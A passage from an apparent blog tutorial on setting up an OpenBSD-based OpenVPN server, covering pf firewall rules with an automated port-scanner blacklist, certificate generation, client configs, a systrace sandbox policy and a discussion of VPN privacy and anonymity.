match out on egress proto udp from <myself> to port ntp
match in on egress from { no-route urpf-failed } to any
match out on egress from any to no-route
match inet6 all
   tag SSH_IN
   tag BAD_GUYS
   tag VPN_EGRESS_IN
   tag VPN_TUN_IN
   tag VPN_DNS_IN
   tag VPN_FORWARD
   tag HTTP_OUT
   tag DNS_OUT
   tag DNS_OUT
   tag NTP_OUT
   tag BAD_PACKET
   tag BAD_PACKET
   tag IPV6

# POLICY ENFORCEMENT
# ---------------------------------------------------------------------------------------
match in tagged VPN_EGRESS_IN set tos lowdelay set prio 6
match out tagged VPN_FORWARD nat-to (egress) set prio 6

# Blocking spoofed or malformed packets, IPv6, and some bad traffic
antispoof log quick for egress label "antispoof"
block quick log tagged BAD_PACKET label "noroute_urpf"
block quick log tagged IPV6 label "ipv6"
block quick log tagged BAD_GUYS label "new_guy"

# Standard rules
# protect SSH from SYN flood and bruteforce
pass in quick tagged SSH_IN synproxy state \
(max-src-conn 10, max-src-conn-rate 5/5, overload <bruteforce> flush global)

# Redirect VPN clients DNS requests to unbound
pass in quick inet tagged VPN_DNS_IN rdr-to 127.0.0.1 port domain

pass in quick tagged VPN_EGRESS_IN
pass in quick tagged VPN_TUN_IN

pass out quick tagged HTTP_OUT
pass out quick tagged DNS_OUT
pass out quick tagged VPN_FORWARD modulate state
pass out quick tagged NTP_OUT

# no log for
block in quick proto udp from 0.0.0.0 port bootpc to port bootps
block in quick proto udp from any port bootps to 255.255.255.255 port bootpc


Check the ruleset syntax, with the first command, and then apply it if no error returned:
$ sudo pfctl -nf /etc/pf.conf
$ sudo pfctl -f /etc/pf.conf

Now we have to make our script which will look for IPs blocked because they matched our ports watchlist rule, labeled "new_guy". Script will be in /home/user/scripts:
$ cd ~
$ mkdir scripts
$ cd scripts
$ sudo ./pf_badguys.sh
#!/bin/sh
# Modify to match your server IP address and network interface
trusted="YOUR COMPUTER/CLIENT PUBLIC IP HERE"
ext_if="vio0"
label="new_guy"

file_temp="/home/your_user/badguys.txt"
file_clean="/home/your_user/badguys_clean.txt"

# Find rule number to look the logs for, we added a label in pf ruleset to locate it easily
# pf starts its numbering at rule 0 (tcpdump logs), while grep starts at rule 1
grep_number=`pfctl -sr | grep -n $label | cut -d":" -f1`
rule_number=$(($grep_number - 1))

echo "" > $file_temp
echo "" > $file_clean

# Look in all blocked traffic the IP blocked because of matching our ports watchlist (rule_number above)
tcpdump -enr /var/log/pflog | grep "rule $rule_number/(match) block in on $ext_if" | cut -d':' -f4 | cut -d' ' -f2 | \
awk '{split($0,ip,"."); print ip[1]"."ip[2]"."ip[3]"."ip[4]}' | sort | uniq >> $file_temp

# Remove our own trusted client IP we connect from!
sed -e "s/$trusted//g" $file_temp > $file_clean
cat $file_clean

# Add the new IP addresses in the badguys table
# pfctl handles by itself duplicate IPs and does not add an already existing one
pfctl -t badguys -T add -f $file_clean

Edit the crontab to schedule execution of this script, as well as check every hour to expire table entries older than 24 hours. Replace "/home/your_user" below with your username:
$ sudo crontab -e
# add badguys to the pf table to be blocked
*/5 * * * * /home/your_user/scripts/pf_badguys.sh

# Clear pf tables
0 * * * * pfctl -t bruteforce -T expire 86400
0 * * * * pfctl -t badguys -T expire 86400

You can check with another script the state of your blacklist/badguys table, ports blocked to them once blacklisted (including ports not in the watchlist), and number of blocked IP in your bruteforce table. Here is the script example, you can freely modify:
$ sudo vi ./pf_show_tables.sh
#!/bin/sh
ext_if="vio0"
label_new="new_guy"
label_old="old_guy"

BAD_TOTAL=`pfctl -t badguys -T show | wc -l | sed -e 's/^ *//' -e 's/ *$//'`
BRUTE_TOTAL=`pfctl -t bruteforce -T show | wc -l | sed -e 's/^ *//' -e 's/ *$//'`
BAD_NEW=`pfctl -sl | grep $label_new | cut -d' ' -f3`
BAD_OLD=`pfctl -sl | grep $label_old | cut -d' ' -f3`

grep_number=`pfctl -sr | grep -n $label_new | cut -d":" -f1`
rule_number=$(($grep_number - 1))
PORTS_SCAN=`tcpdump -enr /var/log/pflog | grep "rule $rule_number/(match) block in on $ext_if" | \
cut -d':' -f4 | cut -d' ' -f4 | awk '{split($0,ip,"."); print ip[5]}'| sort | uniq`

echo ""
echo -e "Table <badguys> total/first/retry : $BAD_TOTAL/$BAD_NEW/$BAD_OLD"
echo "ports blocked :"
echo "$PORTS_SCAN"

echo ""
echo -e "Table <bruteforce> : $BRUTE_TOTAL"

Make the two scripts executable. Below is also an example of a possible output from the second script:
$ chmod +x ./*.sh
$ sudo pf_show_tables.sh
Table <badguys> total/first/retry : 486/71/82
ports blocked :
123
137
1433
21
22
23
25
3306
445
80

Table <bruteforce> : 0

- "total" is the number of IP addresses blacklisted.
- "first" is the number of blocks matching the ports watchlist from IP not being blacklisted (since last ruleset reload)
- "retry" is the number of blocks matching the ports watchlist from IP already blacklisted (since last ruleset reload)
- "ports blocked" is the port list accessed by the blacklisted IPs.
- "bruteforce" is the total number of IP which made too many connections to our open SSH port.

You now have a nice adaptative firewall, however as warned above, be careful as it can backfire if trusted IPs are not excluded and become blacklisted. It is a working configuration I had no trouble with, in my context, but in your situation it may have to be modified to fit your case.





5. VPN SERVER
___________________________________________________
5.1 - SERVER

We are going to setup our OpenVPN server, with the help of the easy-rsa package to make it easier to build our Certificate Authority (CA) and other keys and certificates. The requirements for our server is to use secure keys and protocols only:
- CA, server and clients keys, in 4096 bits RSA
- Key exchange with 4096 bits Diffie-Hellman
- HMAC SHA1 packet authentication, with a TLS 2048 bits static key
- AES 256 bits tunnel encryption
- Perfect Forward Secrecy (PFS)

Let's download our packages and create needed directories:
$ sudo pkg_add openvpn easy-rsa

$ sudo mkdir -p /usr/local/etc/openvpn/{public,secret,clients/{public,secret},easy-rsa/keys}
$ sudo mkdir /usr/local/share/easy-rsa/keys
$ sudo mkdir -p /var/openvpn/tmp

$ cd /usr/local/share/easy-rsa/
$ chmod +x ./*

You have to manually edit /usr/local/share/easy-rsa/vars file to modify KEY_SIZE=1024 into KEY_SIZE=2048, and edit /usr/local/share/easy-rsa/build-dh to modify 2048 into 4096. Now let's create our CA and keys. Log in as root temporarily to execute these commands (notice the double dot for the ". ./vars" command):

$ su -
# cd /usr/local/share/easy-rsa/
# cp openssl-1.0.0.cnf ./openssl.cnf
# . ./vars
# ./clean-all

# ./build-ca --keysize 4096
# ./build-key-server --keysize 4096 server
# ./build-key --keysize 4096 myhome
# ./build-key --keysize 4096 myphone
# ./build-dh
# openvpn --genkey --secret ta.key

We have built certificates and keys for our CA, server, two clients, Diffie-Hellman parameters, and finally the 2048 bits TLS static key that will be used for HMAC packet authentication. We can now move the files in /usr/local/etc/openvpn, in different folders according to the public or private status of the files generated:
# cp ./* /usr/local/etc/openvpn/easy-rsa
# ./clean-all
# cd /usr/local/etc/openvpn/easy-rsa/keys

# cp ca.crt /usr/local/etc/openvpn/public
# mv ca.crt /usr/local/etc/openvpn/clients/public
# mv ca.key /usr/local/etc/openvpn/secret
# mv dh4096.pem /usr/local/etc/openvpn/public
# mv server.key /usr/local/etc/openvpn/secret
# mv server.crt /usr/local/etc/openvpn/public

# mv myhome.key /usr/local/etc/openvpn/clients/secret
# mv myhome.c* /usr/local/etc/openvpn/clients/public
# mv myphone.key /usr/local/etc/openvpn/clients/secret
# mv myphone.c* /usr/local/etc/openvpn/clients/public

# cp ta.key /usr/local/etc/openvpn/secret
# mv ta.key /usr/local/etc/openvpn/clients/secret

Files are sorted like this:
- servers public files are in /openvpn/public (ca.crt, dh4096.pem, server.crt)
- servers secret files are in /openvpn/secret (ca.key, server.key, ta.key)
- clients public files are in /openvpn/clients/public (myhome.csr, myhome.crt, myphone.csr, myphone.crt, ca.crt)
- clients secret files are in /openvpn/clients/secret (myhome.key, myphone.key, ta.key)

Let's not forget the main OpenVPN server configuration file in the process. We can logout from root account:
# logout
$ sudo vi /usr/local/etc/openvpn/server.conf
# Server configuration
# SSL/TLS certificate and keys, PFS enabled by default
ca "/usr/local/etc/openvpn/public/ca.crt"
cert "/usr/local/etc/openvpn/public/server.crt"
dh "/usr/local/etc/openvpn/public/dh4096.pem" # Diffie Helman 4096 bits
key "/usr/local/etc/openvpn/secret/server.key" # RSA 4096 bits
tls-auth "/usr/local/etc/openvpn/secret/ta.key" 0 # TLS 2048 bits for HMAC
cipher AES-256-CBC # AES 256 bits

# Network parameters
port 21600 # as an example, pick your own port
proto udp
dev tun
tls-server
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push "redirect-gateway def1 bypass-dhcp"

# push our DNS server to clients accepting it (will not override a home router DNS configuration
# with fixed DNS settings). Usefull for mobile phones for instance, where installing
# dnscrypt requires a rooted phone
push "dhcp-option DNS 10.8.0.1"

keepalive 10 120
comp-lzo no

# Limits
max-clients 5 # change this value if you plan on connecting from more clients

# Privileges, chroot
chroot /var/openvpn
user _openvpn
group _openvpn
persist-key
persist-tun

# LOG
verb 4
mute 20

It is time to start our server and to make it start at boot time:
$ sudo chmod -Rf 640 /usr/local/etc/openvpn
$ sudo /usr/local/sbin/openvpn --config /usr/local/etc/openvpn/server.conf --daemon
$ sudo vi /etc/rc.local
# OpenVPN
/usr/local/sbin/openvpn --config /usr/local/etc/openvpn/server.conf --daemon

You shoud check with tail -f /var/log/messages   that OpenVPN started successfully. If something went wrong, check your files and folders ownership and rights.

5.2 - CLIENT

In my OpenBSD router article there is a chapter about an OpenVPN client installation and configuration. Below I will just provide the OpenVPN configuration file to use on the client side:
$ sudo vi /usr/local/etc/openvpn/client.conf
# Client configuration (router, computer)
# SSL/TLS certificate and keys
ca "/usr/local/etc/openvpn/ca.crt" # public
cert "/usr/local/etc/openvpn/myhome.crt" # public
key "/usr/local/etc/openvpn/myhome.key" # secret
tls-auth "/usr/local/etc/openvpn/ta.key" 1 # secret
cipher AES-256-CBC
remote-cert-tls server

client
dev tun
proto udp
resolv-retry infinite
nobind
comp-lzo no

# VPS OpenBSD
remote YOUR_SERVER_IP 21600

# Privileges, chroot
user _openvpn
group _openvpn
chroot /var/empty
persist-key
persist-tun

# LOG
verb 3
explicit-exit-notify 5

Client keys must be copied from the server to the client over a secure channel, for instance by using SCP to transfer them trough SSH. As an example, if you copied the client files on the server in /home/user/vpn, from a Linux/BSD client you can run a command such as:
$ scp -P your_ssh_port -i id_ed25519 your_remote_user@your_server_ip:/home/user/vpn/*.* ./

5.3 - MOBILE CLIENT

A smartphone such as Android can download and install "OpenVPN for Android", which is also working with CyanogenMod by the way. Then you will have to transfer on the phone an OpenVPN configuration file, which will require to have the whole configuration in it, including certificates and keys. The configuration file has the certificates and keys inside it. Basically you just copy/paste the content of the required files and insert them between tags like below. Be aware to not miss the "key-direction 1" line before the "tls-auth" block at the end:
remote-cert-tls server
cipher AES-256-CBC

client
dev tun
proto udp
resolv-retry infinite
nobind

remote YOUR_SERVER_IP 21600

comp-lzo no
verb 3
explicit-exit-notify 5
persist-key
persist-tun

# ca.crt below, just a random example. Full extract is above 35 lines
<ca>
-----BEGIN CERTIFICATE-----
ffidLLDKSJskfjf56s/smdjdhQSDOQSLDJLQSJDQSd45454QMDMSQMDMklajzEd4
.
.
.
.
sqd54dLLDKSJskfjf56ssmdjdsqdqsdSDL
-----END CERTIFICATE-----
</ca>

# myphone.crt below, just a random example. Full extract is above 35 lines
<cert>
-----BEGIN CERTIFICATE-----
ffidLLDKSJskfjf56s/smdjdhQSDOQSLDJLQSJDQSd45454QMDMSQMDMklajzEd4
.
.
.
.
sqd54dLLDKSJskfjf56ssmdjdsqdqsdSDL
-----END CERTIFICATE-----
</cert>

# myphone.key below, just a random example. Full extract is above 35 lines
<key>
-----BEGIN CERTIFICATE-----
ffidLLDKSJskfjf56s/smdjdhQSDOQSLDJLQSJDQSd45454QMDMSQMDMklajzEd4
.
.
.
.
sqd54dLLDKSJskfjf56ssmdjdsqdqsdSDL
-----END CERTIFICATE-----
</key>

key-direction 1

# ta.key below, just a random example. Full extract is above 20 lines
<tls-auth>
#
# 2048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
ffidLLDKSJskfjf56s/smdjdhQSDOQSL
.
.
.
.
sqd54dLLDKSJskfjf56ssmdjdsqdqsdS
-----END OpenVPN Static key V1-----
</tls-auth>

This configuration file, you can name "myserver.ovpn" for instance, must be transfered into the phone via a secure channel. As I'm using SpiderOak I used the Hive folder (which is a synchronized folder among many clients/devices) to retrieve the file. However, once you copied with SCP the phone keys and certificate on your computer, I guess a classical USB transfer will do the job as well :-)

5.4 - SYSTRACE

I already talked about systrace on my previous OpenBSD router article, in the following chapter, as well as on another article comparing the security of OpenBSD and FreeBSD, where systrace is mentioned in the system hardening part. While OpenVPN is ran chrooted and with no privileges, we can additionally enforce a systrace policy on it which will allow only system calls we defined. As a quick reminder, you can run a systrace learning mode with $ sudo systrace -A /bin/foo   which will store the application profile in /home/your_user/.systrace/bin_foo file. Once you edited the profile and moved it to /etc/systrace, you can run the program in enforce mode with $ sudo systrace -a -U /bin/foo   (-U argument will use the file located in /etc/systrace). Below is a working systrace policy on my VPN server, but you should review it and test it in learning mode first on yours (modify the 21600 port for instance at the line "sockaddr match "inet-*:21600""):
$ sudo vi /etc/systrace/usr_local_sbin_openvpn
Policy: /usr/local/sbin/openvpn, Emulation: native
# Global
native-issetugid: permit
native-getentropy: permit
native-fstat: permit
native-close: permit
native-read: permit
native-sigprocmask: permit
native-__sysctl: permit
native-gettimeofday: permit
native-minherit: permit
native-mquery: permit
native-sigaction: permit
native-clock_gettime: permit
native-getpid: permit
native-sendsyslog: permit
native-write: permit
native-ioctl: permit
native-fork: permit
native-wait4: permit
native-pread: permit
native-exit: permit
native-setsid: permit
native-dup2: permit
native-sigreturn: permit
native-writev: permit
native-poll: permit
native-readv: permit
native-lseek: permit
native-ftruncate: permit

# Memory
native-munmap: permit
native-mmap: prot eq "PROT_READ|PROT_WRITE" then permit
native-mmap: prot eq "PROT_READ" then permit
native-mmap: prot eq "PROT_NONE" then permit
native-mmap: prot eq "PROT_READ|PROT_EXEC" then permit
native-mprotect: prot eq "PROT_READ|PROT_WRITE" then permit
native-mprotect: prot eq "PROT_NONE" then permit
native-mprotect: prot eq "PROT_READ" then permit

# File read
native-fsread: filename eq "/usr/local/etc/openvpn/server.conf" then permit
native-fsread: filename eq "/etc/resolv.conf" then permit
native-fsread: filename match "/usr/local/etc/openvpn/public/*" then permit
native-fsread: filename match "/usr/local/etc/openvpn/secret/*" then permit
native-fsread: filename eq "/var/openvpn" then permit
native-fsread: filename eq "/tmp" then permit
native-fsread: filename match "/usr/share/zoneinfo/*" then permit
native-fsread: filename match "/usr/lib/libcrypto.so.*" then permit
native-fsread: filename match "/usr/lib/libc.so.*" then permit
native-fsread: filename match "/usr/lib/libssl.so.*" then permit
native-fsread: filename eq "/var/run/ld.so.hints" then permit
native-fsread: filename match "/usr/local/lib/liblzo2.so.*" then permit
native-fsread: filename eq "/etc/malloc.conf" then permit
native-fsread: filename eq "/usr/share/nls/C/libc.cat" then permit
native-fsread: filename eq "/etc/group" then permit
native-fsread: filename eq "/etc/spwd.db" then permit
native-fsread: filename eq "/<non-existent filename>: /etc/resolv.conf" then permit
native-fsread: filename match "/<non-existent filename>: /usr/share/zoneinfo/*" then permit
native-fsread: filename eq "/<non-existent filename>: /usr/share/nls/C/libc.cat" then permit
native-fsread: filename eq "/<non-existent filename>: /usr/share/nls/C./libc.cat" then permit
native-fsread: filename eq "/var/openvpn/tmp" then permit

# File write
native-fswrite: filename eq "/dev/null" then permit
native-fswrite: filename eq "/dev/tun0" then permit

# Network
native-socket: sockdom eq "AF_INET" and socktype eq "SOCK_DGRAM" then permit
native-socket: sockdom eq "AF_UNKNOWN(17)" and socktype eq "SOCK_RAW" then permit
native-bind: sockaddr match "inet-*:21600" then permit
native-sendto: sockaddr match "inet-*:*" then permit
native-getsockopt: permit
native-setsockopt: permit
native-recvfrom: permit

# Chroot
native-chdir: filename eq "/" then permit
native-chroot: filename eq "/var/openvpn" then permit
native-setgid: gid eq "577" then permit
native-setgroups: permit
native-setuid: uid eq "577" and uname eq "_openvpn" then permit

# Exec
native-execve: filename eq "/sbin/ifconfig" and argv match "/sbin/ifconfig tun0 * mtu 1500 netmask 255.255.255.255 up -link0" then permit
native-execve: filename eq "/<non-existent filename>: /sbin/route" and argv match "/sbin/route delete -net * -netmask *" then permit
native-execve: filename eq "/var/openvpn/auth.sh" and argv eq "/var/openvpn/auth.sh " then permit
native-execve: filename eq "/sbin/route" and argv match "/sbin/route add -net * -netmask *" then permit

# Process
native-fcntl: cmd eq "F_SETFD" then permit
native-fcntl: cmd eq "F_SETFL" then permit

To test the profile in learning mode, kill the running process, and start it with the systrace policy (-A = learning):
$ sudo pkill openvpn
$ sudo systrace -A -U /usr/local/sbin/openvpn --config /usr/local/etc/openvpn/server.conf --daemon
$ tail -f /var/log/messages

If everything is working as expected, check your policy file. If nothing new, you can kill openvpn and restart it in enforce mode:
$ sudo pkill openvpn
$ sudo systrace -a -U /usr/local/sbin/openvpn --config /usr/local/etc/openvpn/server.conf --daemon
$ tail -f /var/log/messages

If you want to run it under a systrace policy from the startup, you have to modify the /etc/rc.local file like this:
$ sudo vi /etc/rc.local
# OpenVPN
systrace -a -U /usr/local/sbin/openvpn --config /usr/local/etc/openvpn/server.conf --daemon

Your VPN server is now finished!




6. SECURITY & ANONYMITY
___________________________________________________
VPN are usually seen as a holy grail for security, privacy, and anonymity. However, as I mentioned it in the OpenBSD VPN gateway article, in the Beyond VPN part, VPN does not solve every problem.

With VPN, you will prevent your traffic from being intercepted and watched either in a public WIFI or by your ISP, or by any country practising global surveillance. It is thus possible to reach security and privacy. One caveat mentioned in the aformentioned article, is that traffic leaving your VPN server is not encrypted and requires end-to-end encryption to protect your privacy (HTTPS, SSH, SMTPS, DNSCrypt, etc...). Security is not automatic while using a VPN however, if we read this spiegel.de article. We learn that the NSA is able to break some VPN such as PPTP or even IPSEC, but that's the how which is interesting, instead of declaring VPN "broken" alltogether. First method is for NSA to participate in encryption standard elaboration to weaken these standards (IETF). If we bought products using less secure encryption, it will be easier for them to decrypt. Then for IPSEC connections for instance, which is more robust, they do not break the protocol itself and hence any IPSEC connection, but are rather using their TAO team to hack routers to steal the keys. NSA targeted for instance a VPN provider named SecurityKiss in Ireland. Security of both VPN protocol and both endpoints (client and server) is of first importance to have a secure connection. If we use the best in class "uncrackable" encryption, but that the server or clients are not secured enough, secret keys can be stolen and VPN decrypted.

Privacy, even if we use strong VPN encryption with very secure server and clients, is a fragile thing. Indeed, at the other end of the tunnel, on the websites and forums you visit, what you type there is of critical importance to your privacy. Obviously, posting your whole life on Facebook quite nullifies the privacy acquired by the use of VPN. Also, even if you use a secure and privacy minded mailbox such as ProtonMail, if you still communicate with Gmail clients your emails will still be read. Additionaly, if in the confort of your VPN you confess to Google Search engine all of your questions, fears, or interests, your privacy will have a very short life (I advise using Duckduckgo search engine instead).

What about anonymity? If we have a good security and privacy, are we automatically anonymous? Having privacy is not the same as being anonymous. If you know my real name because I choose to, but I do not disclose to you my favourite movie, or what books I like to read, I have privacy (I choose what I want to say to who I want). If however you don't even know who I am, I have anonymity. Anonymity is really tricky to achieve. Even if you use a VPN, your browser is likely to betray you with tracking cookies. If you go to a particular website with a VPN server located in a foreign country, the website will see your connection coming from this country, but if it uses tracking cookies it will recognize you anyway. Browser fingerprints are pretty unique too and can be used to identify you no matter which VPN you use and even if you disable all cookies. You can test you browser fingerprint uniqueness at https://panopticlick.eff.org/. My browser fingerprint is unique among nearly 5 millions tests done on this site! The fact I did the test with a VPN and am using Ghostery browser plugin does not change anything. By using the TOR browser with default settings, still trough my VPN, my fingerprint was matching 8655 other browsers fingerprints, I was no longer uniquely identifiable.


Achieving security, privacy, and anonymity, requires proper end-to-end encryption and security (server and client). It also requires the use of multiple tools and encrypted channels (VPN, Tor, HTTPS, 2FA with Yubikeys), and the avoidance of public services having questionable privacy policies (use alternatives such as ProtonMail, SpiderOak, Duckduckgo, RedPhone, TextSecure, etc...). Most of all, be aware that everything written in the clear, as in an email sent to friend on a webmail account, a "private" message on a forum, or a standard mobile phone SMS, can be potentially intercepted and is thus to be considered public.





CONCLUSION :
___________________________________________________
We have seen how to build an OpenVPN server based on OpenBSD, to benefit from OpenBSD's memory protection, randomness implementation, LibreSSL, and secure by default philosophy. I find the VPS server to be a cost effective way to build our own VPN server, with many benefits such as snapshot before an upgrade, full access to boot the wanted ISO, remote console access, datacenter country location choice, and Two-Factor authentication with Yubikey. It is a way to be in full control of your computer, your home router, and your VPN server at the other end.



However, there is still benefits of using an external VPN provider such as AirVPN. You spend less money yearly, less time as you do not have to maintain a server or upgrade it, and you have other options such as tunneling VPN inside a SSH or SSL connection. You can switch of VPN server country more quickly, whereas on Vultr you would have to setup DHCP again on your server, do a snapshot, delete your server, and restore the snapshot by selecting a different datacenter. It is still nice to be able to do such manipulation though!

By using an external VPN provider you choose convenience, whereas by managing your own server you prioritize control and trust. Make your choice!


LINKS
___________________________________________________